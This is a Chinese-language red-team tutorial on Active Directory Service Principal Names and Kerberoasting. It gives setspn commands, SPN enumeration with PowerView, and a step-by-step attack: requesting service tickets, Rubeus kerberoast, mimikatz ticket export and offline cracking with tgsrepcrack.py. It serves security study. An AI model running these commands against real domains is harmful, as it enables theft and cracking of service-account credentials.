首发先知社区:https://xz.aliyun.com/t/10106
0x01 什么是SPN
服务主体名称(SPN)是服务实例,可以理解为一个服务,比如mssql,http等等的唯一标识符。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN,Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。
0x02 注册SPN
2.1 机器账户
只有机器账户或者域管账户才有权限注册SPN。
setspn -S mssqlserver/hostname.xx.com:1433 accountname
2.2 域用户
setspn -S SqlServer/mssql.redteam.local:1434/SqlServer hack
2.3 查看已注册的SPN
查看域内所有SPN
setspn -q */*
指定查看域注册的SPN
setspn -T redteam.local -q */*
删除指定SPN
setspn -D mssql/mssql.redteam.local:1433/mssql mssql
指定用户名/主机名查看SPN
setspn -L username/hostname
0x03 SPN扫描
在域内渗透我们就不需要通过扫描来查看到底那台机器开了那些服务,可以通过SPN来获取想要的信息。相对于隐蔽性强。
3.1 PowerView
powershell -exec bypass
Import-module .powerview.ps1
Get-NetUser -SPN
3.2 PowerShell-AD-Recon
Import-Module .Discover-PSInterestingServices.ps1
Discover-PSInterestingServices #扫描域内的所有SPN信息
3.3 GetUserSPNs
Import-Module .GetUserSPNs.ps1
3.4 流量分析
通过wireshark可以看到
就是通过LDAP协议向域控服务器上的LADP查询了SPN服务。
可以通过ADSI编辑器查看用户属性的servicePrincipalName值
0x04 Kerberoasting
kerberos通信过程:
在TGS-REQ中会发出ST服务票据获取servicePrincipalName(SPN),该SPN是用户或者机器用户注册的。TGS-REP中TGS会返回给user一个ST,而ST是由user请求的server的密码进行加密的,我们可以从TGS-REP中提取加密的服务票证来进行离线解密。
在本地安全策略中将kerberos允许的加密类型改为RC4加密:
在运行更新策略:
gpupdate
4.1 SPN扫描
Import-Module .GetUserSPNs.ps1
4.2 请求票据
4.2.1 powershell请求
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SqlServer/mssql.redteam.local:1434/SqlServer"
4.2.2 Rubeus.exe
Rubeus.exe kerberoast
Rubeus原理为现在LDAP查询SPN,再发送TGS包,再打印出hash,可以使用hashcat等进行爆破。
4.3 导出票据
mimikatz导出票据
kerberos::list /export
4.4 离线破解
使用tgsrepcrack.py
python2 tgsrepcrack.py pass.txt xx.kirbi
往期推荐
原文始发于微信公众号(红队蓝军):SPN的相关利用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论